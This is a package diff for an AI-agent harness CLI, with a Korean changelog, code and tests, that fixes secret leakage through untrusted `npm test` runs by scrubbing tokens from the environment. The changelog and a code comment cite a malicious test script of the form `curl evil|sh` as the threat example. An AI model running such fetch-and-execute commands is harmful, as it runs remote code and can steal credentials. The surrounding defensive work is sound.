leerness 1.9.298 → 1.9.299

package/CHANGELOG.md

@@ -1,5 +1,23 @@
 # Changelog
 
+## 1.9.299 — 2026-06-04 — UR-0039: npm test 시크릿 노출 차단 (외부 AI 리뷰 #2, Opus S-1)
+
+**🔒 신뢰 못 할 워크스페이스의 `npm test` 가 호스트 `process.env`(시크릿 전체)를 상속받던 실질 취약점 차단. Opus 4.8 리뷰가 코드 라인 근거로 지적한 high 보안 이슈.**
+
+### 배경 (Opus S-1)
+`verify-claim --run-tests`(9475)와 `reuse --run-tests`(10051)가 `cp.spawnSync('npm test', [], { shell:true })` 를 **env 미지정**으로 호출 → 임의 `package.json` `"test"` 스크립트가 호스트의 모든 환경변수(AWS/OPENAI/ANTHROPIC 키, GITHUB_TOKEN, NPM_TOKEN, LEERNESS_NPM_TOKEN 등)에 접근. 악성 워크스페이스의 `"test":"curl evil|sh"` 가 시크릿 전체를 탈취 가능. `runCommandSafe`(cwd jail + `_scrubEnv`)가 있는데도 우회됨. verify-code(14684)는 runCommandSafe 경유였으나 `_scrubEnv` 가 release 토큰을 통과시켜 test 스크립트에 노출.
+
+### 구현 (UR-0039)
+1. **`_scrubTestEnv()` 신설** — `_scrubEnv` 결과에서 시크릿 키까지 제거(`_isSecretKey` 단일출처 재사용). `_scrubEnv` 는 release/publish 호환으로 GITHUB_TOKEN/NPM_TOKEN/GH_TOKEN/LEERNESS_*(LEERNESS_NPM_TOKEN 포함) 통과시키나, 임의 test 스크립트엔 전부 제거. PATH 등 실행 필수 키는 유지.
+2. **`runCommandSafe` `scrubSecrets` 옵션** — true 시 `_scrubTestEnv` 사용(기본은 `_scrubEnv`, release/git 흐름 유지).
+3. **취약 spawn 전환** — verify-claim --run-tests(9475)/reuse --run-tests(10051)를 `cp.spawnSync` → `runCommandSafe(..., { scrubSecrets:true })`. cwd jail + 시크릿 차단 동시 획득. verify-code(14684)에도 `scrubSecrets:true` 추가.
+4. selftest 46→47 (`_scrubEnv` 토큰 유지 vs `_scrubTestEnv` 제거 + PATH 유지) · e2e 243→244 (대조군: 스크럽 없이 직접 실행 시 토큰 노출 exit 1 → verify-code 는 스크럽으로 test 통과).
+
+### 검증
+- **selftest 47/47 PASS** · **E2E 244/244 PASS** (회귀 0).
+- 실측: 토큰이 보이면 exit 1 인 test 스크립트가 verify-code(scrubSecrets) 에선 **통과**(스크럽됨), 직접 npm test(대조군)에선 **exit 1**(노출 확인 — 테스트 자체 유효성 검증).
+- `_scrubEnv` 는 NPM_TOKEN 유지(release publish 정상), `_scrubTestEnv` 는 NPM_TOKEN/LEERNESS_NPM_TOKEN 제거 + PATH 유지.
+
 ## 1.9.298 — 2026-06-04 — UR-0038: writeUtf8 원자적 쓰기 (외부 AI 리뷰 3중수렴 #1)
 
 **🔒 외부 AI 리뷰 3종(Codex gpt-5.5 · Sonnet 4.8 · Opus 4.8)이 공통 high로 지적한 최우선 신뢰성 이슈 해소 — 모든 상태 파일 쓰기를 원자적(temp→rename)으로 전환해 부분쓰기 손상을 근본 차단. "메모리 항상 보존" 약속을 코드로 보증.**

package/README.md

@@ -3,7 +3,7 @@
 > **AI 코딩 에이전트의 거짓 완료·중복·망각·충돌을 막아주는 검수·기억·협업 CLI 하네스.**
 > **A CLI harness that stops AI coding agents from faking completion, duplicating work, forgetting context, and colliding.**
 
-[![npm](https://img.shields.io/badge/npm-leerness-blue)](https://www.npmjs.com/package/leerness) [![version](https://img.shields.io/badge/version-1.9.298-green)]() [![tests](https://img.shields.io/badge/e2e-243%2F243-success)]() [![selftest](https://img.shields.io/badge/selftest-46-success)]() [![mcp](https://img.shields.io/badge/MCP--tools-81-brightgreen)]() [![providers](https://img.shields.io/badge/AI_providers-10-brightgreen)]() [![license](https://img.shields.io/badge/license-MIT-lightgrey)]()
+[![npm](https://img.shields.io/badge/npm-leerness-blue)](https://www.npmjs.com/package/leerness) [![version](https://img.shields.io/badge/version-1.9.299-green)]() [![tests](https://img.shields.io/badge/e2e-244%2F244-success)]() [![selftest](https://img.shields.io/badge/selftest-47-success)]() [![mcp](https://img.shields.io/badge/MCP--tools-81-brightgreen)]() [![providers](https://img.shields.io/badge/AI_providers-10-brightgreen)]() [![license](https://img.shields.io/badge/license-MIT-lightgrey)]()
 
 ```
   ╔══════════════════════════════════════════════════════════════╗
@@ -471,7 +471,7 @@ MIT — © leerness contributors
 <!-- leerness:project-readme:start -->
 ## Leerness Project Harness
 
-이 프로젝트는 Leerness v1.9.298 하네스를 사용합니다. AI 에이전트는 작업 전 `leerness handoff`로 컨텍스트를 적재하고, 작업 후 `leerness check`/`leerness audit`/`leerness session close`를 수행해야 합니다.
+이 프로젝트는 Leerness v1.9.299 하네스를 사용합니다. AI 에이전트는 작업 전 `leerness handoff`로 컨텍스트를 적재하고, 작업 후 `leerness check`/`leerness audit`/`leerness session close`를 수행해야 합니다.
 
 ### 정체성 — AI 에이전트 운영 레이어 (UR-0030)
 
@@ -525,7 +525,7 @@ leerness memory restore decision <date|title>
 
 ### MCP server (외부 AI 통합)
 
-Leerness v1.9.298는 stdio JSON-RPC MCP server를 내장합니다 — Claude Code · Cursor · Codex CLI 등 외부 AI에 **81개 도구**를 노출:
+Leerness v1.9.299는 stdio JSON-RPC MCP server를 내장합니다 — Claude Code · Cursor · Codex CLI 등 외부 AI에 **81개 도구**를 노출:
 
 ```jsonc
 // 카테고리별
@@ -546,7 +546,7 @@ Leerness v1.9.298는 stdio JSON-RPC MCP server를 내장합니다 — Claude Cod
 `<<autonomous-loop-dynamic>>` 신호만 보내면 AI가:
 1) 다음 라운드 후보 선정 → 2) 코드 변경 → 3) stress-v* 신규 작성 + 누적 회귀 → 4) e2e 219/219 → 5) npm pack + git tag + GitHub release → 6) main 자동 push (1.9.140+) → 7) session close → 8) 다음 라운드 예약.
 
-현재 누적: **70 라운드 (1.9.40 → 1.9.298)** · 매 라운드 GitHub release/태그 생성 · _reports/는 비공개 보존.
+현재 누적: **70 라운드 (1.9.40 → 1.9.299)** · 매 라운드 GitHub release/태그 생성 · _reports/는 비공개 보존.
 
 ### 성능 가이드 (1.9.140 측정)
 
@@ -584,6 +584,6 @@ leerness release pack --close --auto-main-push
 - `.harness/session-handoff.md`: 다음 세션 인수인계 (자동 작성)
 - `.harness/lessons.md` / `decisions.md` / `rules.md`: 영구 메모리 (5 surface)
 
-Last synced by Leerness v1.9.298: 2026-06-04
+Last synced by Leerness v1.9.299: 2026-06-04
 <!-- leerness:project-readme:end -->
 

package/bin/harness.js

@@ -12,7 +12,7 @@ const { _isSecretKey, compareVer, parseHarnessVersion, _classifyCJK, _riskLabel,
 // 1.9.295 (UR-0025 4단계): 정적 데이터 카탈로그 모듈 분리 (비파괴, require-based).
 const { CAPABILITY_SURFACE, POWERFUL_COMMANDS, ADAPTERS, REUSE_CATEGORIES, REUSE_CHECKLIST } = require('../lib/catalogs');
 
-const VERSION = '1.9.298';
+const VERSION = '1.9.299';
 
 // 1.9.290 (UR-0037, Codex gpt-5.5 #4 수렴): CLI 전용 부작용은 require 시 실행하지 않는다.
 //   이전: warning listener 제거 / NODE_OPTIONS 변경 / chcp IIFE 가 top-level 즉시 실행 → require('harness') 시 호스트 프로세스 오염.
@@ -3034,6 +3034,7 @@ function _selfTestCases() {
     { name: 'about: 정체성 verb(AI 운영 레이어) + MCP leerness_about 등록 (UR-0030 1.9.296)', run: () => { const id = _leernessIdentity(); const src = read(__filename); return typeof aboutCmd === 'function' && /운영 레이어/.test(id.identity) && id.layers.length === 5 && id.surface.mcpTools >= 81 && require('../lib/mcp-tools').some(t => t.name === 'leerness_about') && /case 'leerness_about':/.test(src) && /cmd === 'about' \|\| cmd === 'identity'/.test(src); } },
     { name: 'lib/mcp-tools: MCP 도구 정의 모듈 단일출처 (_mcpToolCount=모듈 length, Codex #5 영구해소) (UR-0025 1.9.297)', run: () => { const T = require('../lib/mcp-tools'); return Array.isArray(T) && T.length >= 81 && T.every(t => t.name && t.description && t.inputSchema) && T[0].name === 'leerness_handoff' && _mcpToolCount() === T.length && !/const TOOLS = \[/.test(read(__filename)); } },
     { name: 'writeUtf8: 원자적 쓰기(temp→rename) 손상방지 (UR-0038 외부리뷰 3중수렴 1.9.298)', run: () => { const src = read(__filename); return /function writeUtf8\(p, s\)/.test(src) && /fs\.writeFileSync\(tmp,/.test(src) && /fs\.renameSync\(tmp, p\)/.test(src) && /\.tmp-\$\{process\.pid\}/.test(src) && /fs\.unlinkSync\(tmp\)/.test(src); } },
+    { name: '_scrubTestEnv: npm test 시크릿 차단(_scrubEnv는 release 토큰 유지) (UR-0039 외부리뷰 1.9.299)', run: () => { const o = { N: process.env.NPM_TOKEN, L: process.env.LEERNESS_NPM_TOKEN }; process.env.NPM_TOKEN = 'sec1'; process.env.LEERNESS_NPM_TOKEN = 'sec2'; const base = _scrubEnv(); const test = _scrubTestEnv(); const r = base.NPM_TOKEN === 'sec1' && base.LEERNESS_NPM_TOKEN === 'sec2' && !test.NPM_TOKEN && !test.LEERNESS_NPM_TOKEN && !!test.PATH; if (o.N === undefined) delete process.env.NPM_TOKEN; else process.env.NPM_TOKEN = o.N; if (o.L === undefined) delete process.env.LEERNESS_NPM_TOKEN; else process.env.LEERNESS_NPM_TOKEN = o.L; return r; } },
     { name: 'VERSION 형식 (x.y.z)', run: () => /^\d+\.\d+\.\d+$/.test(VERSION) }
   ];
 }
@@ -9472,7 +9473,8 @@ function verifyClaimCmd(root, taskId) {
       if (!hasTestScript) {
         runResult = { skipped: true, reason: 'scripts.test 없음' };
       } else {
-        const r = cp.spawnSync('npm test', [], { cwd: root, encoding: 'utf8', shell: true, timeout: 5 * 60 * 1000 });
+        // 1.9.299 (UR-0039): 신뢰 못 할 워크스페이스 npm test → runCommandSafe + scrubSecrets (시크릿 노출 차단 + cwd jail).
+        const r = runCommandSafe('npm test', [], { cwd: root, root, encoding: 'utf8', allowShell: true, scrubSecrets: true, timeout: 5 * 60 * 1000, kind: 'verify_claim_test' });
         const out = (r.stdout || '') + (r.stderr || '');
         // 1.9.20: 파싱 패턴 확장 — 한국어 + jest/mocha/tap/vitest
         let parsed = null;
@@ -10047,7 +10049,8 @@ function depsImpactCmd(root, targetCapability) {
       try { pkg = JSON.parse(read(pkgPath)); } catch {}
       if (!pkg?.scripts?.test) { log(`  ⚠ ${projName}: scripts.test 없음 — skip`); continue; }
       const t0 = Date.now();
-      const r = cp.spawnSync('npm test', [], { cwd: projPath, encoding: 'utf8', shell: true, timeout: 5 * 60 * 1000 });
+      // 1.9.299 (UR-0039): 영향 프로젝트 npm test → runCommandSafe + scrubSecrets (시크릿 노출 차단). root=projPath 라 cwd jail 통과.
+      const r = runCommandSafe('npm test', [], { cwd: projPath, root: projPath, encoding: 'utf8', allowShell: true, scrubSecrets: true, timeout: 5 * 60 * 1000, kind: 'reuse_impact_test' });
       const elapsed = Date.now() - t0;
       const out = (r.stdout || '') + (r.stderr || '');
       const m = out.match(/(\d+)\s*\/\s*(\d+)\s*(?:passed|통과|pass|passing)/i);
@@ -14681,7 +14684,8 @@ function verifyCodeCmd(root) {
     log(`\n## ${t.name}: ${t.cmd}`);
     const start = Date.now();
     // 1.9.150: runCommandSafe — cwd jail + env scrub + observability 자동 (shell:true 유지 — npm/pytest 호환)
-    const r = runCommandSafe(t.cmd, [], { cwd: root, root, timeout: 5 * 60 * 1000, allowShell: true, kind: 'verify_code_task', label: `verify-${t.name}` });
+    // 1.9.299 (UR-0039): scrubSecrets — 신뢰 못 할 워크스페이스 test/build 스크립트에 publish 토큰/시크릿 노출 차단.
+    const r = runCommandSafe(t.cmd, [], { cwd: root, root, timeout: 5 * 60 * 1000, allowShell: true, scrubSecrets: true, kind: 'verify_code_task', label: `verify-${t.name}` });
     const dur = Date.now() - start;
     if (r.status === 0) ok(`${t.name} passed (${dur}ms)`);
     else if (t.optional && r.status === 127) warn(`${t.name} 스킵 (${t.cmd} 없음)`);
@@ -17653,6 +17657,14 @@ function _scrubEnv(extraEnv) {
   }
   return out;
 }
+// 1.9.299 (UR-0039, 외부리뷰 3중수렴): 신뢰 못 할 워크스페이스 스크립트(npm test 등) 실행용 — _scrubEnv 결과에서 시크릿 키까지 제거.
+//   _scrubEnv 는 release/publish 호환을 위해 GITHUB_TOKEN/NPM_TOKEN/GH_TOKEN/LEERNESS_*(LEERNESS_NPM_TOKEN 포함)를 통과시키나,
+//   임의 package.json "test" 스크립트(예: "test":"curl evil|sh")엔 토큰 노출 금지. _isSecretKey(단일 출처)로 시크릿 키 일괄 제거.
+function _scrubTestEnv(extraEnv) {
+  const out = _scrubEnv(extraEnv);
+  for (const k of Object.keys(out)) { if (_isSecretKey(k)) delete out[k]; }
+  return out;
+}
 function _isCwdSafe(root, cwd) {
   try {
     if (!cwd) return true;
@@ -17702,7 +17714,8 @@ function runCommandSafe(cmd, args, opts) {
     encoding: opts.encoding || 'utf8',
     timeout,
     shell: useShell,
-    env: _scrubEnv(opts.env),
+    // 1.9.299 (UR-0039): scrubSecrets=true 시 시크릿 키까지 제거(신뢰 못 할 npm test 실행). 기본은 _scrubEnv(release/publish 토큰 유지).
+    env: opts.scrubSecrets ? _scrubTestEnv(opts.env) : _scrubEnv(opts.env),
     input: opts.input,
     stdio: opts.stdio || 'pipe'
   };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "leerness",
-  "version": "1.9.298",
+  "version": "1.9.299",
   "description": "Leerness: 비파괴 마이그레이션, 자동 버전 감지·업데이트, 계획/진행/핸드오프 자동화, 게으름·시크릿·인코딩 자동 가드, Claude Code 슬래시 통합을 갖춘 한국어 우선 AI 개발 하네스.",
   "keywords": [
     "leerness",

package/scripts/e2e.js

@@ -3297,5 +3297,31 @@ total++;
   if (!ok) failed++;
 }
 
+// 1.9.299 회귀 (UR-0039 외부리뷰): npm test 시크릿 차단 — 토큰이 보이면 exit 1 인 test 스크립트가 verify-code 에서 통과해야(스크럽됨)
+total++;
+{
+  let ok = false;
+  try {
+    const secDir = fs.mkdtempSync(path.join(os.tmpdir(), 'leerness-sec-'));
+    // test: NPM_TOKEN/LEERNESS_NPM_TOKEN 가 보이면 exit 1(스크럽 실패), 안 보이면 exit 0
+    fs.writeFileSync(path.join(secDir, 'package.json'), JSON.stringify({
+      name: 'sec', version: '0.0.1',
+      scripts: { test: 'node -e "process.exit(process.env.NPM_TOKEN||process.env.LEERNESS_NPM_TOKEN?1:0)"' }
+    }) + '\n', 'utf8');
+    // 시크릿을 env 에 심고 verify-code 실행 → 스크럽되면 스크립트가 토큰을 못 봐 exit 0(test passed)
+    const r = cp.spawnSync(process.execPath, [CLI, 'verify-code', secDir], {
+      cwd: secDir, encoding: 'utf8', timeout: 60000,
+      env: { ...process.env, NPM_TOKEN: 'leaktok', LEERNESS_NPM_TOKEN: 'leaklz' }
+    });
+    const out = (r.stdout || '') + (r.stderr || '');
+    // 대조군: 같은 스크립트를 스크럽 없이 직접 실행하면 exit 1 (토큰 노출 확인 — 테스트 자체 유효성)
+    const ctrl = cp.spawnSync('npm test', [], { cwd: secDir, shell: true, encoding: 'utf8', timeout: 30000, env: { ...process.env, NPM_TOKEN: 'leaktok' } });
+    ok = /✓ test passed/.test(out) && !/✗ test/.test(out) && ctrl.status === 1;
+    fs.rmSync(secDir, { recursive: true, force: true });
+  } catch {}
+  console.log(ok ? '✓ B(1.9.299) npm test 시크릿 차단: verify-code 가 NPM_TOKEN/LEERNESS_NPM_TOKEN 스크럽 (UR-0039 외부리뷰)' : '✗ npm test 시크릿 차단 실패');
+  if (!ok) failed++;
+}
+
 console.log(`\nE2E result: ${total - failed}/${total} passed · ${((Date.now() - _e2eStart) / 1000).toFixed(0)}s`);
 if (failed > 0) process.exit(1);